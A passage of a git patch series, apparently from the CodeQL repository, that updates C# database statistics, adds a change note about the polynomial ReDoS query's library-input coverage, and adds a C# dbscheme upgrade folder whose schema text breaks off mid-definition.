@@ -41711,7 +41710,7 @@ <b> <a>1</a> <b>2</b> -<v>98768</v> +<v>98734</v> </b> <b> <a>2</a> @@ -41732,7 +41731,7 @@ <b> <a>1</a> <b>2</b> -<v>99998</v> +<v>99963</v> </b> </bs> </hist> @@ -41748,7 +41747,7 @@ <b> <a>1</a> <b>2</b> -<v>98768</v> +<v>98734</v> </b> <b> <a>2</a> @@ -41769,7 +41768,7 @@ <b> <a>1</a> <b>2</b> -<v>99822</v> +<v>99787</v> </b> <b> <a>2</a> @@ -41790,7 +41789,7 @@ <b> <a>1</a> <b>2</b> -<v>99998</v> +<v>99963</v> </b> </bs> </hist> @@ -41806,7 +41805,7 @@ <b> <a>1</a> <b>2</b> -<v>98768</v> +<v>98734</v> </b> <b> <a>2</a> @@ -41827,7 +41826,7 @@ <b> <a>1</a> <b>2</b> -<v>101622</v> +<v>101587</v> </b> </bs> </hist> @@ -41843,7 +41842,7 @@ <b> <a>1</a> <b>2</b> -<v>101622</v> +<v>101587</v> </b> </bs> </hist> @@ -41859,7 +41858,7 @@ <b> <a>1</a> <b>2</b> -<v>101622</v> +<v>101587</v> </b> </bs> </hist> @@ -41875,7 +41874,7 @@ <b> <a>1</a> <b>2</b> -<v>101622</v> +<v>101587</v> </b> </bs> </hist> @@ -41891,7 +41890,7 @@ <b> <a>1</a> <b>2</b> -<v>101622</v> +<v>101587</v> </b> </bs> </hist> @@ -41907,7 +41906,7 @@ <b> <a>1</a> <b>2</b> -<v>101622</v> +<v>101587</v> </b> </bs> </hist> @@ -41965,11 +41964,11 @@ </relation> <relation> <name>cil_handler_type</name> -<cardinality>43880</cardinality> +<cardinality>43865</cardinality> <columnsizes> <e> <k>id</k> -<v>43880</v> +<v>43865</v> </e> <e> <k>catch_type</k> @@ -41987,7 +41986,7 @@ <b> <a>1</a> <b>2</b> -<v>43880</v> +<v>43865</v> </b> </bs> </hist> @@ -42003,7 +42002,7 @@ <b> <a>1</a> <b>2</b> -<v>439</v> +<v>438</v> </b> <b> <a>2</a> @@ -42048,15 +42047,15 @@ </relation> <relation> <name>cil_method_stack_size</name> -<cardinality>1728633</cardinality> +<cardinality>1728026</cardinality> <columnsizes> <e> <k>method</k> -<v>1728633</v> +<v>1728026</v> </e> <e> <k>size</k> -<v>161</v> +<v>160</v> </e> </columnsizes> <dependencies> @@ -42070,7 +42069,7 @@ <b> <a>1</a> <b>2</b> -<v>1728633</v> +<v>1728026</v> </b> </bs> </hist> @@ -42151,110 +42150,110 @@ </relation> <relation> <name>cil_public</name> -<cardinality>1913134</cardinality> +<cardinality>1912463</cardinality> <columnsizes> <e> <k>id</k> -<v>1913134</v> +<v>1912463</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_private</name> -<cardinality>929847</cardinality> +<cardinality>929521</cardinality> <columnsizes> <e> <k>id</k> -<v>929847</v> +<v>929521</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_protected</name> -<cardinality>1820386</cardinality> +<cardinality>1819747</cardinality> <columnsizes> <e> <k>id</k> -<v>1820386</v> +<v>1819747</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_internal</name> -<cardinality>41734</cardinality> +<cardinality>41719</cardinality> <columnsizes> <e> <k>id</k> -<v>41734</v> +<v>41719</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_static</name> -<cardinality>795833</cardinality> +<cardinality>795554</cardinality> <columnsizes> <e> <k>id</k> -<v>795833</v> +<v>795554</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_sealed</name> -<cardinality>356970</cardinality> +<cardinality>356845</cardinality> <columnsizes> <e> <k>id</k> -<v>356970</v> +<v>356845</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_virtual</name> -<cardinality>678388</cardinality> +<cardinality>678150</cardinality> <columnsizes> <e> <k>id</k> -<v>678388</v> +<v>678150</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_abstract</name> -<cardinality>165375</cardinality> +<cardinality>165317</cardinality> <columnsizes> <e> <k>id</k> -<v>165375</v> +<v>165317</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_class</name> -<cardinality>238837</cardinality> +<cardinality>238753</cardinality> <columnsizes> <e> <k>id</k> -<v>238837</v> +<v>238753</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_interface</name> -<cardinality>16568</cardinality> +<cardinality>16562</cardinality> <columnsizes> <e> <k>id</k> -<v>16568</v> +<v>16562</v> </e> </columnsizes> <dependencies/> @@ -42283,37 +42282,37 @@ </relation> <relation> <name>cil_specialname</name> -<cardinality>811934</cardinality> +<cardinality>811649</cardinality> <columnsizes> <e> <k>id</k> -<v>811934</v> +<v>811649</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_newslot</name> -<cardinality>422762</cardinality> +<cardinality>422614</cardinality> <columnsizes> <e> <k>id</k> -<v>422762</v> +<v>422614</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_base_class</name> -<cardinality>235851</cardinality> +<cardinality>235768</cardinality> <columnsizes> <e> <k>id</k> -<v>235851</v> +<v>235768</v> </e> <e> <k>base</k> -<v>21433</v> +<v>21425</v> </e> </columnsizes> <dependencies> @@ -42327,7 +42326,7 @@ <b> <a>1</a> <b>2</b> -<v>235851</v> +<v>235768</v> </b> </bs> </hist> @@ -42343,12 +42342,12 @@ <b> <a>1</a> <b>2</b> -<v>12329</v> +<v>12324</v> </b> <b> <a>2</a> <b>3</b> -<v>3864</v> +<v>3862</v> </b> <b> <a>3</a> @@ -42358,12 +42357,12 @@ <b> <a>4</a> <b>7</b> -<v>1893</v> +<v>1892</v> </b> <b> <a>7</a> <b>84</b> -<v>1610</v> +<v>1609</v> </b> <b> <a>86</a> @@ -42378,15 +42377,15 @@ </relation> <relation> <name>cil_base_interface</name> -<cardinality>125349</cardinality> +<cardinality>125305</cardinality> <columnsizes> <e> <k>id</k> -<v>68675</v> +<v>68651</v> </e> <e> <k>base</k> -<v>31229</v> +<v>31218</v> </e> </columnsizes> <dependencies> @@ -42400,22 +42399,22 @@ <b> <a>1</a> <b>2</b> -<v>47749</v> +<v>47733</v> </b> <b> <a>2</a> <b>3</b> -<v>8123</v> +<v>8120</v> </b> <b> <a>3</a> <b>5</b> -<v>6269</v> +<v>6267</v> </b> <b> <a>5</a> <b>9</b> -<v>5381</v> +<v>5379</v> </b> <b> <a>9</a> @@ -42436,22 +42435,22 @@ <b> <a>1</a> <b>2</b> -<v>22501</v> +<v>22493</v> </b> <b> <a>2</a> <b>3</b> -<v>3434</v> +<v>3433</v> </b> <b> <a>3</a> <b>5</b> -<v>2522</v> +<v>2521</v> </b> <b> <a>5</a> <b>30</b> -<v>2346</v> +<v>2345</v> </b> <b> <a>30</a> @@ -42466,11 +42465,11 @@ </relation> <relation> <name>cil_enum_underlying_type</name> -<cardinality>14085</cardinality> +<cardinality>14080</cardinality> <columnsizes> <e> <k>id</k> -<v>14085</v> +<v>14080</v> </e> <e> <k>underlying</k> @@ -42488,7 +42487,7 @@ <b> <a>1</a> <b>2</b> -<v>14085</v> +<v>14080</v> </b> </bs> </hist> @@ -42549,11 +42548,11 @@ </relation> <relation> <name>cil_type_parameter</name> -<cardinality>185066</cardinality> +<cardinality>185002</cardinality> <columnsizes> <e> <k>unbound</k> -<v>104033</v> +<v>103996</v> </e> <e> <k>index</k> @@ -42561,7 +42560,7 @@ </e> <e> <k>param</k> -<v>185066</v> +<v>185002</v> </e> </columnsizes> <dependencies> @@ -42575,22 +42574,22 @@ <b> <a>1</a> <b>2</b> -<v>75071</v> +<v>75045</v> </b> <b> <a>2</a> <b>3</b> -<v>19022</v> +<v>19016</v> </b> <b> <a>3</a> <b>13</b> -<v>8167</v> +<v>8164</v> </b> <b> <a>13</a> <b>22</b> -<v>1771</v> +<v>1770</v> </b> </bs> </hist> @@ -42606,22 +42605,22 @@ <b> <a>1</a> <b>2</b> -<v>75071</v> +<v>75045</v> </b> <b> <a>2</a> <b>3</b> -<v>19022</v> +<v>19016</v> </b> <b> <a>3</a> <b>13</b> -<v>8167</v> +<v>8164</v> </b> <b> <a>13</a> <b>22</b> -<v>1771</v> +<v>1770</v> </b> </bs> </hist> @@ -42869,7 +42868,7 @@ <b> <a>1</a> <b>2</b> -<v>185066</v> +<v>185002</v> </b> </bs> </hist> @@ -42885,7 +42884,7 @@ <b> <a>1</a> <b>2</b> -<v>185066</v> +<v>185002</v> </b> </bs> </hist> @@ -42895,11 +42894,11 @@ </relation> <relation> <name>cil_type_argument</name> -<cardinality>738228</cardinality> +<cardinality>737969</cardinality> <columnsizes> <e> <k>bound</k> -<v>482080</v> +<v>481911</v> </e> <e> <k>index</k> @@ -42907,7 +42906,7 @@ </e> <e> <k>t</k> -<v>252586</v> +<v>252497</v> </e> </columnsizes> <dependencies> @@ -42921,17 +42920,17 @@ <b> <a>1</a> <b>2</b> -<v>336693</v> +<v>336575</v> </b> <b> <a>2</a> <b>3</b> -<v>117537</v> +<v>117496</v> </b> <b> <a>3</a> <b>22</b> -<v>27848</v> +<v>27839</v> </b> </bs> </hist> @@ -42947,17 +42946,17 @@ <b> <a>1</a> <b>2</b> -<v>341606</v> +<v>341487</v> </b> <b> <a>2</a> <b>3</b> -<v>115420</v> +<v>115379</v> </b> <b> <a>3</a> <b>22</b> -<v>25053</v> +<v>25044</v> </b> </bs> </hist> @@ -43185,27 +43184,27 @@ <b> <a>1</a> <b>2</b> -<v>100471</v> +<v>100436</v> </b> <b> <a>2</a> <b>3</b> -<v>72861</v> +<v>72836</v> </b> <b> <a>3</a> <b>4</b> -<v>42553</v> +<v>42538</v> </b> <b> <a>4</a> <b>6</b> -<v>20135</v> +<v>20128</v> </b> <b> <a>6</a> <b>4208</b> -<v>16563</v> +<v>16558</v> </b> </bs> </hist> @@ -43221,17 +43220,17 @@ <b> <a>1</a> <b>2</b> -<v>191097</v> +<v>191030</v> </b> <b> <a>2</a> <b>3</b> -<v>55570</v> +<v>55551</v> </b> <b> <a>3</a> <b>20</b> -<v>5918</v> +<v>5916</v> </b> </bs> </hist> @@ -43332,19 +43331,19 @@ </relation> <relation> <name>cil_attribute</name> -<cardinality>328819</cardinality> +<cardinality>328703</cardinality> <columnsizes> <e> <k>attributeid</k> -<v>328819</v> +<v>328703</v> </e> <e> <k>element</k> -<v>248990</v> +<v>248903</v> </e> <e> <k>constructor</k> -<v>3381</v> +<v>3379</v> </e> </columnsizes> <dependencies> @@ -43358,7 +43357,7 @@ <b> <a>1</a> <b>2</b> -<v>328819</v> +<v>328703</v> </b> </bs> </hist> @@ -43374,7 +43373,7 @@ <b> <a>1</a> <b>2</b> -<v>328819</v> +<v>328703</v> </b> </bs> </hist> @@ -43390,17 +43389,17 @@ <b> <a>1</a> <b>2</b> -<v>197659</v> +<v>197590</v> </b> <b> <a>2</a> <b>3</b> -<v>36752</v> +<v>36739</v> </b> <b> <a>3</a> <b>92</b> -<v>14578</v> +<v>14573</v> </b> </bs> </hist> @@ -43416,17 +43415,17 @@ <b> <a>1</a> <b>2</b> -<v>213540</v> +<v>213465</v> </b> <b> <a>2</a> <b>3</b> -<v>31044</v> +<v>31033</v> </b> <b> <a>3</a> <b>7</b> -<v>4405</v> +<v>4404</v> </b> </bs> </hist> @@ -43447,7 +43446,7 @@ <b> <a>2</a> <b>3</b> -<v>400</v> +<v>399</v> </b> <b> <a>3</a> @@ -43508,7 +43507,7 @@ <b> <a>1</a> <b>2</b> -<v>600</v> +<v>599</v> </b> <b> <a>2</a> @@ -43558,7 +43557,7 @@ <b> <a>152</a> <b>15028</b> -<v>239</v> +<v>238</v> </b> </bs> </hist> @@ -43568,11 +43567,11 @@ </relation> <relation> <name>cil_attribute_named_argument</name> -<cardinality>5566</cardinality> +<cardinality>5564</cardinality> <columnsizes> <e> <k>attribute_id</k> -<v>4630</v> +<v>4628</v> </e> <e> <k>param</k> @@ -43594,7 +43593,7 @@ <b> <a>1</a> <b>2</b> -<v>3766</v> +<v>3765</v> </b> <b> <a>2</a> @@ -43620,7 +43619,7 @@ <b> <a>1</a> <b>2</b> -<v>4059</v> +<v>4057</v> </b> <b> <a>2</a> @@ -43768,12 +43767,12 @@ <b> <a>1</a> <b>2</b> -<v>722</v> +<v>721</v> </b> <b> <a>2</a> <b>3</b> -<v>239</v> +<v>238</v> </b> <b> <a>3</a> @@ -43814,11 +43813,11 @@ </relation> <relation> <name>cil_attribute_positional_argument</name> -<cardinality>96309</cardinality> +<cardinality>96275</cardinality> <columnsizes> <e> <k>attribute_id</k> -<v>90176</v> +<v>90145</v> </e> <e> <k>index</k> @@ -43826,7 +43825,7 @@ </e> <e> <k>value</k> -<v>17139</v> +<v>17133</v> </e> </columnsizes> <dependencies> @@ -43840,12 +43839,12 @@ <b> <a>1</a> <b>2</b> -<v>85488</v> +<v>85458</v> </b> <b> <a>2</a> <b>7</b> -<v>4688</v> +<v>4686</v> </b> </bs> </hist> @@ -43861,12 +43860,12 @@ <b> <a>1</a> <b>2</b> -<v>85498</v> +<v>85468</v> </b> <b> <a>2</a> <b>7</b> -<v>4678</v> +<v>4677</v> </b> </bs> </hist> @@ -43959,12 +43958,12 @@ <b> <a>1</a> <b>2</b> -<v>12358</v> +<v>12353</v> </b> <b> <a>2</a> <b>3</b> -<v>2463</v> +<v>2462</v> </b> <b> <a>3</a> @@ -43990,7 +43989,7 @@ <b> <a>1</a> <b>2</b> -<v>16812</v> +<v>16806</v> </b> <b> <a>2</a> @@ -44005,19 +44004,19 @@ </relation> <relation> <name>metadata_handle</name> -<cardinality>6186911</cardinality> +<cardinality>6184463</cardinality> <columnsizes> <e> <k>entity</k> -<v>5695317</v> +<v>5693041</v> </e> <e> <k>location</k> -<v>3420</v> +<v>3418</v> </e> <e> <k>handle</k> -<v>274487</v> +<v>274391</v> </e> </columnsizes> <dependencies> @@ -44031,17 +44030,17 @@ <b> <a>1</a> <b>2</b> -<v>5221930</v> +<v>5219820</v> </b> <b> <a>2</a> <b>3</b> -<v>464355</v> +<v>464192</v> </b> <b> <a>3</a> <b>638</b> -<v>9030</v> +<v>9027</v> </b> </bs> </hist> @@ -44057,12 +44056,12 @@ <b> <a>1</a> <b>2</b> -<v>5454186</v> +<v>5451995</v> </b> <b> <a>2</a> <b>59</b> -<v>241130</v> +<v>241045</v> </b> </bs> </hist> @@ -44235,62 +44234,62 @@ <b> <a>1</a> <b>2</b> -<v>18959</v> +<v>18952</v> </b> <b> <a>2</a> <b>3</b> -<v>45081</v> +<v>45065</v> </b> <b> <a>3</a> <b>5</b> -<v>23945</v> +<v>23937</v> </b> <b> <a>5</a> <b>6</b> -<v>17534</v> +<v>17528</v> </b> <b> <a>6</a> <b>7</b> -<v>30176</v> +<v>30165</v> </b> <b> <a>7</a> <b>9</b> -<v>18998</v> +<v>18991</v> </b> <b> <a>9</a> <b>11</b> -<v>22116</v> +<v>22108</v> </b> <b> <a>11</a> <b>13</b> -<v>21062</v> +<v>21054</v> </b> <b> <a>13</a> <b>21</b> -<v>21491</v> +<v>21484</v> </b> <b> <a>21</a> <b>39</b> -<v>21154</v> +<v>21147</v> </b> <b> <a>39</a> <b>83</b> -<v>20598</v> +<v>20591</v> </b> <b> <a>83</a> -<b>1062</b> -<v>13368</v> +<b>1061</b> +<v>13363</v> </b> </bs> </hist> @@ -44306,52 +44305,52 @@ <b> <a>1</a> <b>2</b> -<v>62986</v> +<v>62964</v> </b> <b> <a>2</a> <b>3</b> -<v>21120</v> +<v>21113</v> </b> <b> <a>3</a> <b>4</b> -<v>47047</v> +<v>47030</v> </b> <b> <a>4</a> <b>5</b> -<v>18959</v> +<v>18952</v> </b> <b> <a>5</a> <b>6</b> -<v>19422</v> +<v>19416</v> </b> <b> <a>6</a> <b>7</b> -<v>22091</v> +<v>22083</v> </b> <b> <a>7</a> <b>11</b> -<v>23321</v> +<v>23313</v> </b> <b> <a>11</a> <b>19</b> -<v>22023</v> +<v>22015</v> </b> <b> <a>19</a> <b>41</b> -<v>20881</v> +<v>20874</v> </b> <b> <a>41</a> <b>702</b> -<v>16632</v> +<v>16626</v> </b> </bs> </hist> From c106b09d49452cbac6e2a662887e40233c95cbff Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 14 Jan 2021 14:17:32 +0100 Subject: [PATCH 0589/1241] change-note --- javascript/change-notes/2021-01-14-polynomial-redos.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 javascript/change-notes/2021-01-14-polynomial-redos.md diff --git a/javascript/change-notes/2021-01-14-polynomial-redos.md b/javascript/change-notes/2021-01-14-polynomial-redos.md new file mode 100644 index 00000000000..8bbc16386ac --- /dev/null +++ b/javascript/change-notes/2021-01-14-polynomial-redos.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* The `js/polynomial-redos` query now flags uses of expensive regular expressions where the source is library input. From b7b4ed8774961e52f433506e5e34f2fa836419a9 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Thu, 14 Jan 2021 14:26:40 +0100 Subject: [PATCH 0590/1241] Add DB upgrade folder --- .../old.dbscheme | 1914 ++++++++++++++++ .../semmlecode.csharp.dbscheme | 1917 +++++++++++++++++ .../upgrade.properties | 0 3 files changed, 3831 insertions(+) create mode 100644 csharp/upgrades/e6442d16b7e3786d0918597c2c9fbd871ca06f77/old.dbscheme create mode 100644 csharp/upgrades/e6442d16b7e3786d0918597c2c9fbd871ca06f77/semmlecode.csharp.dbscheme rename csharp/upgrades/{TO_CHANGE => e6442d16b7e3786d0918597c2c9fbd871ca06f77}/upgrade.properties (100%) diff --git a/csharp/upgrades/e6442d16b7e3786d0918597c2c9fbd871ca06f77/old.dbscheme b/csharp/upgrades/e6442d16b7e3786d0918597c2c9fbd871ca06f77/old.dbscheme new file mode 100644 index 00000000000..e6442d16b7e --- /dev/null +++ b/csharp/upgrades/e6442d16b7e3786d0918597c2c9fbd871ca06f77/old.dbscheme @@ -0,0 +1,1914 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: 